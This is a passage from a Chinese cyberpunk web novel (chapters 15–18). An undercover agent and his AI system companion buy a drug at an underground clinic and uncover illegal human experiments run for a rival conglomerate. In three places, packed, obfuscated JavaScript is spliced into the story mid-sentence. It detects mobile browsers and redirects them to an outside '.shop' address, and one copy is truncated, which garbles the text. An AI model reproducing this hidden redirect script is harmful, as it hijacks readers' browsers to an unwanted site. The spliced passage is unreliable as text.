里面是一个小型低温储存仓,透过仓壁能看见一管淡蓝色的药剂静静躺在恒温环境中,正是黑市上流通的劣化版基因缓释药剂。 毫无疑问,这就是多里安通过林琳转交的东西。 赵四小心地没有触动药剂,而是从存放低温仓的凹槽边缘,抽出了一张被仔细折叠成小块的纸条。 展开后,纸上是一个简略的行动计划,附带了一份基础的身份信息,这个身份是他们的人与黑诊所交易时使用的掩护。 与对方掮客的见面时间,就定在义诊当天的下午,赵四只需要按时前往,扮演此人即可。 纸条的背面,用极细的笔迹写着一个下城区的地址,那是多里安提前安排好的安全屋。 看回药剂,MK3000已经仔细扫描过一圈了。 【什么结果?】 MK3000:【药剂极端不稳定,需小心保存。 另外,表层扫描没有发现异常能量信号或外置芯片,但如果问题出在分子层面,比如特定同位素标记、或者某种生物特征编码,以我目前的扫描精度,无法在不破坏药剂的情况下完全确认。】 “特定同位素标记、或者某种生物特征编码”……这是典型的识别机制,MK3000的意思是,这玩意有可能不止是药剂,还可能就是和掮客见面时,充当定位器或者识别双方身份的“信物”? 明天他要带着这管药剂去见多里安提前约好的掮客吗? 15. 第15章 他心悖论15 不,不对,这个逻辑有一个漏洞。 哪怕与正版基因缓释剂相比,这种劣化版药剂的价格已被大幅压低,但对下城区的普通人而言,它仍然是昂贵、脆弱且难以保存的救命药。 拿这种稀缺又敏感的东西当信物,未免也太奢侈、太不稳定了。 还有一种可能。 【多里安的目的可能很纯粹……三儿,你忽略了他和林琳的身份。】 MK3000几乎与他同时反应过来:【多里安辗转把药剂送到你手上,是为了检测!】 没错。 多里安长期潜伏在下城区的暗面,林琳则固守在中城区宠物医院。 他们有能力触及样本,却都缺少一样关键的东西:一条能将这种极度敏感的黑市药剂,安全、隐蔽且不留痕迹地送进四方科技核心实验室的路径。 而赵四,恰好能补上这缺失的一环。 他是房馥臻,也是方复秦。 是能自由游走于三个城区,却不会引发额外怀疑的角色。 更重要的是,他是那个既有最高权限、又有能力调动资源将线索追查到底的人。 至于交接的时机,如果选在义诊现场或安全屋,不仅难以确保药剂的稳定保存,更会平添许多不必要的风险。 所以多里安才选择提前将东西交给林琳,方便赵四做之后的安排。 妥善收好那管药剂,又销毁了纸条,赵四看向窗外永恒明亮的霓虹灯海。 他在静待明天到来。 MK3000在疲惫值滴滴作响的后台警报声中给赵四刷了一条温馨提示。 【虽然很不想打扰你看风景,但你的生理指标显示,你该去吃药睡觉了。】 赵四那点刚酝酿出的意境被系统提示搅得稀碎。 【知道了知道了。】他叹了口气,语气里没有真的不耐烦,反而带着点认命般的妥协,【这就去。谢了,三儿。】 一夜无梦,休息充足。 第二天清晨,赵四切换为“方复秦”模式,拎着不知道是弟弟还是妹妹给他整理好的出诊箱,随着义诊团队登上了前往下城区的公共地铁。 车厢虽被包下,不见闲杂乘客,但空气里仍弥漫着一股难以名状的陈旧气味,仿佛这趟列车已经被地下世界的气息浸透了。 赵四站在车厢连接处,透过模糊不清的车窗向外望去。 粗大的管道、裸露的钢筋、斑驳的混凝土墙飞速倒退,偶尔视线中掠过几片暗淡的荧光涂鸦,像这片地底丛林中顽强滋生的苔藓。 光线始终昏暗,只有车厢内的照明和隧道壁上零星的应急灯提供着有限的光源,让这趟行程如同驶向地心深处某个被遗忘的裂隙。 当列车穿过一道厚重的隔断层时,短暂的失重感掠过全身,紧接着,一股混杂着明显湿气与金属锈蚀的特殊气味,无声地漫入了车厢。 赵四深深吸了口气,又缓缓吐出。 他知道,这代表着真正的下城区,到了。 ………… 医院被分配到的义诊点离目标诊所不远,设在一个废弃仓库改造的临时棚屋里。 照明全靠几盏便携式冷光灯,光线冷白而勉强,但前来候诊的人群依然排成长列。 他们大多衣着陈旧,神色间带着小心翼翼的期盼。 再度上岗的“方医生”坐在简易诊台后,为几位症状轻微的居民做了基础检查。 他一面操作,一面在脑内自嘲:【谁还记得我本质上是个兽医?】 现在竟然在这儿一本正经地给人看诊,像话吗? 在一旁提供着在线问诊支持的MK3000:【下城区的医疗资源极度稀缺,这边没人在意你持的是什么证,有人肯看诊就已经是运气了。】 好歹赵四还是个有(兽医)执照的正经医生,那些在黑诊所里,由毫无资质的“医生”接诊的病患,才是真正的“生死有命,富贵在天”。 义诊本身终究只是场政治秀,真正危重的病例根本进不了这个临时棚屋,因此赵四和MK3000搭配着干活,整个上午倒也应付得过去。 就这么混到午休时分,草草吃完配发的简餐。 赵四将空餐盒放回回收点时,察觉到一位同行医生借着递水的动作,将一台外壳磨损严重的老式终端悄无声息地塞进了他的衣兜。 将这张面孔记在心里,随后他以“出去透透气”为由,悄然离开了义诊点。 他先搭乘了下城区特有的不记名公共轨道车,那是一种噪音巨大的、颠簸不堪、仿佛随时会散架的悬吊式车厢,在低矮的穹顶下哐当作响地行驶。 远离义诊点所在的“门面”区域后,窗外那些勉强算规整的密集小楼逐渐消失。 取而代之的是发挥了人类极限想象力的、由各式各样废旧材料拼凑而成的栖身之所。 杂乱的电线如垂死的藤蔓般纠缠垂挂,以一种近乎野蛮的方式,将电力勉强送进每一片拥挤的棚户。 赵四眼角微跳:【这……安全吗?】 MK3000:【借用下城区某街区市政厅的经典回应:“有得用就得了”。】 意思是不安全。 赵四:【真是……别具一格。】 一人一统沉默地看着这片顽强而混乱的生存图景,没再交流。 在一个连站牌都没有的无名站台下车后,依靠导航,赵四独自在迷宫般的狭窄巷弄中穿行了近二十分钟。 巷道两侧的墙壁满是涂鸦和锈迹,头顶交错着各种用途不明的管道,不时滴落成分不明的粘稠液体。 他灵敏地一一避开,最终抵达了多里安提供的安全屋。 一扇仅用喷漆涂了句下城区粗俗俚语的小铁门,毫无特色地嵌在厚重的混凝土墙中。 手刚搭上门把,MK3000便无声地完成了权限认证。 “咔哒”一声轻响,门开了。 室内陈设简陋,但必需品一应俱全。 看完桌上摆着的更详细的身份设定,赵四拿起放在旁边的简易光学面具。 MK3000同步将使用说明投射在他的视野边缘。 这也是四方科技的黑科技产物之一,可惜维持时间短,且只能单次使用。 赵四迅速更换了随身物品与衣物,将面具贴合在脸上。 站在墙边那面布满划痕的穿衣镜前,镜中人的面容与气质已变得模糊而市井,混入下城区的人流绝不会引人注目。 确认外表伪装无误,赵四拿起那台老式终端。 这台终端的外表虽然陈旧,内部却经过特殊加密处理,任何反向定位尝试都只会指向虚无的假地址。 在下城区,这种程度的改装司空见惯,不会引发额外怀疑。 他翻到通讯记录里唯一的未署名联系人,直接拨通。 短暂的等待音后,一个沙哑的男声响起,只报出了一串简短的地标,通讯便□□脆切断。 赵四收起终端,没有半分迟疑推开安全屋的后门,他的身影重新没入下城区交错纵横的巷陌。 MK3000已将最佳路线在视野中标明,他沿着那无形的指引快步前行。 又过了二十多分钟,连续穿过数条堆满锈蚀零件与工业废料的窄巷,周遭环境愈发杂乱破败。 最终,他在一片由报废车辆残骸和扭曲金属板材胡乱堆积形成的、堪称“建筑奇观”的区域深处,找到了约定的碰头地点。 一个男人蹲在阴影里,指尖夹着的东西冒着一点猩红,听到脚步声靠近,他抬起了头。 这人外表平平无奇,属于扔进人堆里立刻会消失的类型。 但赵四的目光在他身上停顿了片刻。 从对方裸露在破旧外套外的小臂和脖颈处,那些清晰可见机械构件与生物组织粗糙接合的痕迹判断,这个男人的机械化改造程度非常高。 【故意不做仿生皮肤贴合,就这么露着接口……】赵四在脑内对MK3000说,【这人是地下诊所放出来的活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066888|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体广告牌吧?】 MK3000:【他身上的义体型号其实相当老旧。能维持这种状态活着,要么是运气好到逆天,要么就是就是身上背着点说不清道不明的“门路”……可不就是块行走的招牌么。】 男人自称“老K”,警惕性很高。 即便赵四是按指引找来,他依然进行了多番试探。 赵四这次的扮演方向,是一个被逼到绝境的“前体面人”: 家里至亲重病,原本在上城区某企业的基层工作即将不保。 在积蓄耗尽,走投无路的情况下,他通过某个隐秘的“病友互助会”打听到下城区可能有路子。 回忆着多里安纸条上提供的细节,他调整了一下呼吸,让语气里带上一种强撑的镇定。 “是‘灰鸽’给我指的这条路,病友会里都这么叫他……具体是谁我也不清楚,只知道他消息挺灵通。” 老K浑浊的眼珠转动了一下,“灰鸽……他怎么跟你说的?” “也没说太细……就给了我一个大致的方向,说这块地方有人能弄到‘那种药’,让我自己来碰碰运气。还说……提他的名字,或许能少点麻烦。 赵四苦笑:“我这也是实在没办法了,才硬着头皮找过来。” 老K灭了手里的烟,没再追问代号的事。 他转而问道:“你家病人什么情况?需要这种药,那可不是小毛病。” 赵四早有准备,却也没说太细致。 他忧虑道:“是基因层面的代谢障碍……总之需要定期用缓释剂辅助清理。四方科技的正规药,一个月就得一支,实在是……负担不起了。” “那种病是烧钱,你之前用的什么牌子?” 赵四报出了一个基因缓释剂品牌名称,补充包装细节时,语气里泄露出掩饰不住的焦躁。 老K微微点头:“钱带够了吗?我们这不赊账。” 赵四连忙点头,又小心提起价格的问题。 老K给他比了个数。 赵四盯着那个数字,嘴唇无声地翕动了几下,像是在心里飞速盘算着所剩无几的积蓄。 他不安地在原地踱了两圈,又停下脚步,用舌尖舔了舔干裂的嘴唇。 “如果……如果价格真的像说的那么好,我想一次买三支。我家孩子要等不起了,来回跑风险也太大……” 听到“三支”这个数字,老K几不可察地顿了一下。 “我手头可没那么多现货。”他盯着赵四,说出口的话显得很有压迫感,“而且,你要三支……我凭什么信你?万一你是条子,或者别的什么人……” “我……我真不是!我可以给你看我的旧工作证!你相信我!” “在下城区,病历都能伪造,工作证算个屁——说说看,‘灰鸽’左手小指是不是缺了半截?” 赵四愣了一下,似乎在努力回忆,然后不太确定地说:“我没太注意他的手,我们就见过两次,都在比较暗的地方……好像他的动作是有点不太自然……我、我记不清了,我记不清了!” 他抓着头发,像是被逼到崩溃边缘,剧烈地喘息着蹲了下去。 老K又盯了他几秒钟,紧绷的肩膀终于松了些。 或许是他觉得赵四的反应没什么破绽,或许是被三支药剂的利润彻底诱惑。 “……行吧。”他终于松口,但警告意味不减,“但现货只有一支。你要另外两支,得跟我进去拿。” “还要……进去拿?” 赵四抬起头,脸上带着茫然和一丝不易察觉的惧意。 老K没搭理这句在他看来很蠢的问话,转身就走,只丢下一句警告:“进去后,不该问的别问,不该看的别看。跟紧点。” 他在巨大的废弃金属堆积区里熟练地绕了几次路,最终在一堆锈蚀板材后停下脚步。 一条狭窄得仅容一人侧身通过的缝隙显露出来,向内延伸,通往更深、更暗的所在。 地下诊所“蝰蛇”,近在眼前。 16. 第16章 他心悖论16 赵四脸上挂着混杂着紧绷和期盼的表情跟着老K往下走,逼仄的通道里,只有他们沉闷的脚步声传来隐约的回响。 MK3000:【刚才那段发挥不错,要不是知道你的底细,连我差点都信了你的表演。】 赵四很谦虚:【过奖,都是以前那么多任务里磨炼出来的基本功。】 讲道理,干他们这行的,只要入职时间够长,演技这块想不提升都难。 毕竟绝大多数世界对专员的“身份卡扮演度”都有硬性要求,演技对专员们来说算是工作所需的基本技能。 他们往下走了不短的一段路,但赵四能感觉到,这条通道并非一直向下,中间似乎还拐了几个平缓的弯。 当眼前终于出现一片略显开阔的空间时,他们才算真正抵达了地下诊所的核心区域。 这是一个被改造过的小型地下空间,看不出原本是用来干什么的。如今,几块巨大的防水帆布从天花板上垂落,粗糙地分割出几个功能区块。 门厅、诊室、手术角……老旧的医疗设备与不明杂物一同堆放在锈迹斑斑的金属架上。 空气里弥漫着消毒水刺鼻的气味,底下还隐隐浮动着一股更复杂、更难辨的陈腐气息。 乍一看,这确实像个典型的下城区黑诊所,简陋、混乱,却也勉强维持着最基本的医疗功能。 老K带着赵四在这片空间左绕右绕。 赵四的目光不安地四处打量,看似是被周围的环境吸引,实则却在快速搜寻MK3000接入此处网络需要的电子产品。 很快,他注意到一个不起眼的角落。 那里的墙上挂着一块仍在运作的老式电子屏,屏幕半明半暗,时而闪过模糊的雪花,有断续的文字在其中滚动。 屏幕旁,一个黑色路由器模样的盒子静静搁在架子上,一点幽绿的电源指示灯在昏暗里微微闪烁。 几根灰扑扑的网线随意缠绕连接着它,如同不合时宜的装饰。 【三儿,那个怎么样?】 MK3000:【可以试试。】 机会很快来了。 在经过那个角落时,赵四“不小心”被地上散乱的电线绊了一下,整个人向前踉跄。 为了稳住身体,他双手下意识地向前撑去,一只手正好按在了那个路由器的外壳上,另一只手则撑在了旁边的金属架子上,看起来狼狈不堪。 “看着点路!”老K不耐烦地回头。 “对、对不起!这地上太乱了……”赵四连忙道歉,他收回手艰难地站直身体,拍了拍手上的灰。 【接触成功,正在建立连接。】MK3000的声音几乎同时响起,【发现通往深层网络的加密节点,我需要点时间破解。】 赵四脸上依旧是那副惊魂未定的样子,心里默默给系统记上一功。 老K最终在一扇相对整洁的铁皮门前停下,他敲了敲门,里面传来一个冷淡的女声。 “进来。” 这个房间不大,更像一个简陋的办公室。 一个穿着白大褂、看起来大约三十多岁的女人坐在堆满杂物和纸张的桌子后面。 她抬头看了赵四一眼,眼神里充满了审视。 老K开门见山的说:“他要三支C型缓释剂。” 女人思索了一下,报了一个数字,比老K之前透的底价高出一小截。 她说:“一手交钱,一手交货。” 赵四脸上露出窘迫和焦急:“这……比我预想的贵太多了,我……我身上带的钱不够付三支……” “那就免谈。”女人重新看向手里的数据板,摆了摆手示意赵四出去。 “等等!”赵四急声道,声音发颤,“有没有……有没有别的办法?分期付款行吗?或者……我先买一支?我孩子真的等不了……求你了!” 绝望、恳求和希冀在他伪装后的脸上交织,这张简易光学面具的质量极佳,完美支撑住了他细微的表情变化。 室内空气沉寂下来,女人似乎在权衡什么。 最终,她冷声道:“你需要签一份数据反馈协议。签了之后,我们可以让你分期——第一期付七成,先拿一支;剩下的钱和药,等你下次带足钱和数据来换。” “数据?” “用药的人,服药后的任何反应,尤其是异常反应,无论好坏,都必须详细记录,定期交给我们,我们需要这些数据来优化产品。” 赵四犹豫着说:“花了这么多钱,万一……万一没效果怎么办?我听说,有些黑……有些地方的药,根本没用……” “不可能没效果。” 女人打断他,语气里是很明显的自傲。 “我们的产品是专门针对特定基因缺陷设计的,只要对症,就一定能缓解症状。当然……根治不了,但续命,够了。” 赵四像是被说服,又像是别无选择。 最终他咬着牙点了头,在女人推过来的一份简陋电子合同上,签下了伪造的名字和身份代码。 “在这等着,我去取货。” 女人起身,对房间里另一个穿着类似护工服装、眼神警惕的壮硕男人示意了一下,“看着他,别让他乱动。” 男人沉默的点头,像堵墙一样靠在门边,目光如炬。 女人离开,房门关上。 赵四表现得非常安分,他没试图做什么出格的事,只是一直在尝试跟老K搭话。 他的声音里充满了对药剂效果的忐忑,以及对自己这个冒险选择的深深不安。 老K对赵四的焦虑不甚在意,他敷衍地应付着,说着什么“放心,他们这儿的东西大家用了说好”之类的套话,心思已经不知道飘到了什么地方。 而赵四的大部分注意力,早已集中在了MK3000同步传来的声音片段上。 这地方虽然隐蔽,但内部监控和安防设备倒是齐全,很是方便了系统进行隐蔽的信息收集。 脚步声、另一道门开启的电子音、向下的脚步声、更深处传来的模糊对话…… MK3000将处理后的关键对话,清晰地投射在赵四的专员面板上: 女人冷淡的声音:“……新客户,要三支C型缓释剂,分期,签了反馈协议……嗯,先给一支,筛查过了,底子干净。但不能放松,派人去跟一段,看看具体情况,防止出问题。” 一个略显焦急的男声:“……‘主家’又在催进度了!新一批受试者的排异数据非常不稳定,反馈回来的副作用报告比上一批还糟糕!” 女人:“催也没用!现在加速就是找死!研究进度不乐观是事实,但贸然推进,出了大规模崩溃事故,谁去跟‘主家’交代?你吗?” 男声:“……可是……” 女人:“没什么可是!先给上面等着的新客户一支稳定版的C型,看看反馈数据再说。至于‘主家’……先稳住‘主家’那边,就说我们在优化配方,需要更多临床反馈……” 对话逐渐模糊,但关键信息已经足够。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066889|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这不只是个黑市销售点。 它的下面,藏着一个正在运作的、非法的人体实验研究室。 所谓的“劣化版基因缓释剂”,实际上是他们用“受试者”测试出来的、极端不稳定的“未完成品”。 而那个神秘的“主家”,则在背后提供支持,不断催促着危险的研究进度。 这时,MK3000传来另一条信息:【从本地网络下载的未加密文件中,发现部分实验日志摘要和物资申领清单。】 日志提及“受试者批次编号”和“阶段性生理数据采集”。 申领物品中则包括高精度基因编辑仪配件、特种培养液、以及大量镇静剂和生命维持设备等物品。 赵四在心底冷笑一声:【虽然有所猜测,但是这家研究所……真是不太干人事。】 女人很快回来了,手里拿着一个不起眼的低温储存盒。 赵四付了钱,动作小心翼翼地接过那个小小的盒子,然后把它紧紧攥在手里。 “记住,”女人最后提醒,“下次来,带上反馈数据。” 赵四连连点头,将药剂贴身仔细收好,仿佛抓住了救命的稻草。 他跟着沉默的老K,沿着那条通道,原路离开了这座隐藏在地下的黑诊所。 当混杂着尘埃、废气与远处隐约噪音的空气涌入肺部时,赵四竟有种微妙的类似重见天日的感觉。 老K连声招呼都没打,身影一晃,便迅速消失在前面错综复杂的巷道深处,大概是急着去领他那份佣金。 赵四没有立刻离开。 他像任何一个刚刚完成一笔秘密交易、心有余悸的普通人那样,警觉地四下扫视了一番,确认周围“还算安全”后,才裹紧了外套,低下头,加快脚步远离这片是非之地。 不远处,两个负责跟踪的家伙缀了他一段路。 见赵四迅速离开诊所范围,步伐也未显异常,两人便在对视一眼后默契地停下了脚步。 ——他们只是例行确认这个“新客户”不会立刻惹麻烦,任务就算完成。 【尾巴撤了。】 MK3000确认道,【看来诊所那边只是走个过场,暂时没起疑。】 赵四不动声色地点了点头,脚步未停。 多年任务养成的谨慎习惯让他在混乱地带多绕了几圈,才悄无声息地回到了多里安安排的那间安全屋。 将交易得来的药剂和旧终端一并放在了桌子上,赵四迅速卸下伪装。 光学面具取下,衣物更换回来,属于“方复秦”温和散漫的气质重新回到了身上。 仔细检查周身,确认没有留下任何可能暴露的痕迹,他才再度推门离开。 当赵四回到那个义诊点时,棚屋内排队的人已稀疏了许多。 赵四一眼就看见了林琳,她正站在几个医生旁边低声交谈,身侧是几名身着四方科技制服的工作人员在清点回收的医疗器械。 赵四脚步自然地走过去,恰如其分地加入了医生们的对话。 当林琳的目光转过来时,他朝她极轻地点了下头。 没有人对他下午的离开表示疑问,所有人的注意力都集中在收尾工作上。 清点物资、整理记录、安排转运,空气中弥漫着任务即将结束的松弛感。 半小时后,这支圆满完成任务的义诊团队登上了返回中城区的地铁车厢。 赵四找了个靠窗的位置坐下,地铁缓缓启动,将下城区那片被阴影覆盖的图景逐渐抛在身后。 17. 第17章 他心悖论17 当晚,新世界第十七宠物医院,院长休息室。 【其实方复秦这个身份在院外有固定住所。】 MK3000在赵四舒展身体时提醒道,【档案显示,位于医院附近的‘绿荫公寓’有一套登记在他名下的两居室,你需要过去看看吗?】 赵四解开领口最上方的扣子,长长吐出一口气,将自己摔进那张不算柔软但足够支撑疲惫身体的床上。 【暂时没必要。】他在意识中回应,声音带着明显的倦意,【如果只是休息,这里足够。如果是想挖掘身份线索……以‘房馥臻’现在这种双线作战的忙碌程度,我不认为他会把宝贵时间浪费在‘回家’这种仪式感上。】 即便他真的去了那间公寓,大概率也只会像这间休息室一样,看到一个标准、整洁、却缺乏生活痕迹的样板间。 一个符合“方复秦”人设,却未必藏有任务关键线索的地方。 当然,这不代表他会完全忽略这个地点。 若任务陷入僵局,那间公寓或许会成为必须探查的备用选项。 至于现在…… 赵四对“房馥臻”这具身体的虚弱有了更切身的体会。 今天的活动量对他本体而言不值一提,但对这具身份卡而言,持续的高强度伪装、精神紧绷与体力消耗,让这张身份卡的疲惫值警告直接被戳爆了。 赵四逐渐开始熟练地无视了疲惫值警告,转而将注意力投向更紧要的方向。 他戳戳MK3000。 【比起这个,诊所那边后续情况如何?】 是的, MK3000对网络接管并不是一次性的,那是一个持续的过程。 从赵四离开诊所到现在,所有进出下方研究所人员的通讯、内部对话、监控影像, MK3000都在同步记录。 数据在无声涌动、筛选、打包。 几分钟后,一个经过初步整理的数据包上传了赵四的专员面板。 MK3000:【要现在看吗?】 【嗯,就当睡前电影了,希望这部电影的剧情足够精彩。】 材料已经被MK3000处理过,画面被贴心地分割为几个区域。 左侧是经过降噪与清晰化处理的静态监控图像,右侧是对应的音频波形图与文字转录,中央则是MK3000实时提取并标注的关键信息摘要。 赵四的目光首先落在那些图像上。 画面中的环境远比他亲身经历的“诊所”前台区域要规整得多,那是一间符合标准生物安全级别的实验室。 目之所及处,无缝的浅灰抗菌板材铺满整个墙面和地板,一排排操作台沿墙排列,上面分类摆放着各类精密仪器,通风系统嗡鸣维持着整体环境的稳定。 研究人员们穿着统一浅蓝色防护服,安静而迅速的处理着属于自己的工作。 一切都显得过于井然有序,洁净、专业、高效,完全符合一个正规高端研发机构的标准作业场景。 那些昂贵的仪器设备外壳上都清晰蚀刻着“四方科技”特有的菱形防伪徽标与资产编号,看着这些,赵四几乎要产生某种荒谬的错觉—— 仿佛自己并非在窥探一个藏匿于下城区废墟下的非法据点,而是通过监控,实时观察着四方科技总部下属某个核心实验室的日常运作。 这种诡异的既视感很快被画面中人物的对话打破。 几个穿着防护服的、研究员模样的人正聚在一起,压低声音抱怨着: “……又催!数据波动曲线明明显示需要观察期,强行推进只会增加受试者风险!‘主家’到底知不知道‘风险’两个字怎么写?!” “……他们根本不在乎,他们只要结果,越快越好的‘结果’!” “斯特林女士今天巡查的时候,脸色难看得吓人……可我们能怎么办?基础架构还是基于四方科技十几年前的公开模型逆向推出来的,现在人家早就不知道迭代多少次了!” “我们连模仿都漏洞百出,上面居然要求‘实现成本降低百分之三十,效果提升百分之十五’的‘突破性进展’?这简直……这简直……” “唉……四方科技在这个领域的积累是垄断级的……我们这刚刚组建没几年的地下作坊,拿什么去‘突破’?斯特林女士自己都束手无策……” 短暂的沉默,只有设备运行的低沉嗡鸣在背景中持续。 接着,那个白天与赵四交易的女人身影出现在画面边缘,她的声音冷静却带着不容置疑的压力。 “抱怨解决不了问题,‘主家’的耐心有限,时间表不可能再推迟。斯特林女士并非没有其他考量……我们还有一条潜在的路径。” 刚才还在抱怨的研究员们立刻围拢过去,语气急切:“路径?什么路径?” “小少爷那边……最近传回消息,他或许有办法,接触到一些四方科技内部的……非公开研究资料。再等一等,也许会有转机。” 说完女人便转身离开,留下几个研究员面面相觑。 “非、非公开研究资料啊……” “你知道点什么?” “……这里还有谁不知道吗?” 几人交换了一个心照不宣的眼神,带着复杂的神情各自散开,回到工作岗位。 这段监控片段结束,系统自动跳转到下一段,那似乎是稍晚些时候,几个研究员在数据录入间隙的闲聊: “……哈,小少爷的‘渠道’?得了吧,这儿又没外人,你跟我还装什么糊涂。 谁不知道上头是指望咱们那位金枝玉叶的小少爷,使点儿‘美人计’,从他那位‘四方科技高层男朋友’枕头边上,套点儿真东西出来?” “我不是装糊涂!我是觉得这计划听着太离谱……先不说小少爷那男朋友——你们应该都看新闻了,都知道是谁吧——会不会被感情冲昏头脑到那种地步,就算突然恋爱脑发作,什么都愿意给了,他一个区域总裁,真能接触到这么核心的机密?” “好了好了,听说那位‘男朋友’背景也不简单,小少爷既然去了,总归是有点希望,要真有资料来,总比现在瞎摸索强。” “但愿吧,不过现在嘛……还是老老实实折腾咱们的‘小白鼠’实在。” 后续的内容多是技术讨论和日常抱怨,再无更多情报价值。 赵四示意MK3000停止播放。 光屏暗下,休息室重归昏暗,只有窗外中城区永不熄灭的霓虹微光渗入。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066890|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵四缓缓吐出一口气,靠在床头,闭目消化着刚才的信息。 “小少爷”与“四方科技高层男朋友”……关键词的指向性过于明确了。 这组合在整个上城区的社交圈与花边新闻里,都堪称独一份的“景观”,赵四几乎立刻就对上了号。 洛伦·艾克,环宇集团的小少爷。 以及他那神秘的、来自四方科技高层的恋人——他的总裁朋友居安新。 现在,这桩带着粉红色泡沫和争议的恋情,以堪称尖锐的方式,与下城区肮脏的非法实验纠缠在一起,染上了阴谋与背叛的底色。 能将地下研究所伪装成近乎四方科技正规实验室的规格,能调动环宇集团的继承人充当商业间谍,甚至能让议会对这种非法药剂的流通采取暧昧态度…… 蝰蛇背后“主家”的能量与身份,几乎已呼之欲出。 除了环宇集团,赵四想不出第二个答案。 那么,环宇集团不惜铤而走险,私下研制基因药剂,目的究竟是什么? 是为了争夺四方科技的市场份额? 这个可能性存在,但赵四认为微乎其微。 在新世界,几大集团早已划定了各自的势力范围,形成了某种脆弱而持久的平衡,生物医药与尖端义体是四方科技不可动摇的根基。 环宇若贸然将手伸进这片早已被标记的领地,很可能引发的不是商业竞争,而是所有既得利益者的警惕与联合围剿。 那时候环宇将要对抗的将是整个新世界,环宇的高层不会不明白这个道理。 那么,必然有其他更迫切、更深层的原因,驱动着他们进行如此危险的实验。 【我有点想念我的‘总裁朋友’了。】 尤其想念居安新可能掌握的关于洛伦·艾克、关于环宇的更多信息。 还有对居安新那个“背景不简单”的评价,也实在让人有点在意。 MK3000立刻领会了他的意图,【需要我现在就联络居安新,敲定会面时间,并同步通知赛琳娜,为‘房馥臻’的日程预留出空档,以便你以‘方复秦’的身份去‘拜访朋友’吗?】 【就这么办,现在联系。】赵四的决定下的很快,【这事宜早不宜迟。】 MK3000:【收到。另外,专员,你真的该休息了。】 【这就睡。】 正事安排妥当,强烈的疲惫感终于压倒性地袭来。 就在意识即将彻底涣散的边缘,一个被暂时搁置的念头却顽强地浮了上来,如同深水中的气泡、乐章中的不和谐音一样不容忽视。 之前系统给他画过饼,但因受限于“方复秦”的身份与资源而搁置的那件事,好像可以提上日程了。 “真假少爷”的任务提示始终悬在心头,这条线继续推进下去是件好事。 他挣扎着在睡梦的边界挤出最后一点清明,含糊地低语:【三儿……洛伦和他父母的……基因比对……该提上日程了……】 MK3000:【放心,已经安排上了,这项检测将通过房馥臻权限下的非公开渠道进行。】 太靠谱了,MK3000。 最后一丝牵挂放下,赵四的意识彻底沉入了无梦的深眠。 18. 第18章 他心悖论18 作为朋友,居安新并不难约。 翌日下午,中城区一家以复古机械风格为特色的咖啡馆。 赵四提前抵达,选了靠窗的座位。 当居安新推门而入时,他一眼便看到了对方。 居大总裁今日一身剪裁考究的深灰色风衣,身形依旧挺拔,但眉眼间挥之不去的倦色,为他那份英俊平添了几分颓靡。 赵四看着他走近,心中不由泛起一丝复杂的感慨。 是的,赵四已经知道为什么一个住在住在浮空城生态区的四方科技区域总裁,会和一个中城区的兽医有交情了。 那根本不是什么巧合或缘分。 【我还是觉得房馥臻这人太极端了。】MK3000翻看着房馥臻和居安新的认识始终,有点惊叹,【为了创造一个合理的相识契机,他竟然雇佣了‘人类赎罪派’的人,特意安排了一场针对居安新的袭击。】 还记得吗,中城区的地区特色之一——教团,各种各样的教团。 此前的“人类主义纯净派”只是冰山一角,而被房馥臻选中的“人类赎罪派”,则奉行着另一套理念: 他们认为人生而有罪,需通过□□的痛苦与磨砺来净化灵魂。每逢特定活动日,便会随机“抽取”路人进行“净化仪式”。 那一天,恰好在第十七街区出差的居安新,就成了被房馥臻通过特殊渠道、悄悄塞进净化名单的“幸运儿”。 别问为什么居安新身边没有足够的安保力量,问就是房馥臻技高一筹,让所有意外发生的都恰到好处。 总之,在一番堪称惊心动魄的混乱之后,受伤的居安新被闻讯赶来的联防局人员救出,并送往了当时十七街区医疗条件最完善的机构,也就是新世界第十七街区宠物医院。 巧合的是,那天医院异常忙碌。 而恰好在岗、又恰好比较清闲的院长方复秦,便顺理成章地接下了这位特殊病人的部分日常照料工作。 几天接触下来,“温和耐心”、“专业可靠”且与他的世界毫无瓜葛的方医生,便成了居安新在紧张工作与复杂人际之外,一个可以放松交谈的朋友。 于是,当安安出事,心慌意乱的居安新第一时间想到的求助对象,自然就是这位恰好是兽医的贴心好友。 这是什么,这就是命运的回响啊! 对此,赵四只能微笑以对了。 房馥臻,看看你干的好事。 然后他想到了自己要干什么——能轻易接触到居安新,是“房馥臻”提前打下的好基础。 赵四不由夸道:【房馥臻,你干得好啊。】 唯一一个能听见赵四态度一百八十度大转弯的MK3000,一时间不知道需不需要夸专员一句能屈能伸。 此时,居安新已走到桌边。 即便带着倦容,他无意识间流露出的气场依然让周围不少人侧目。 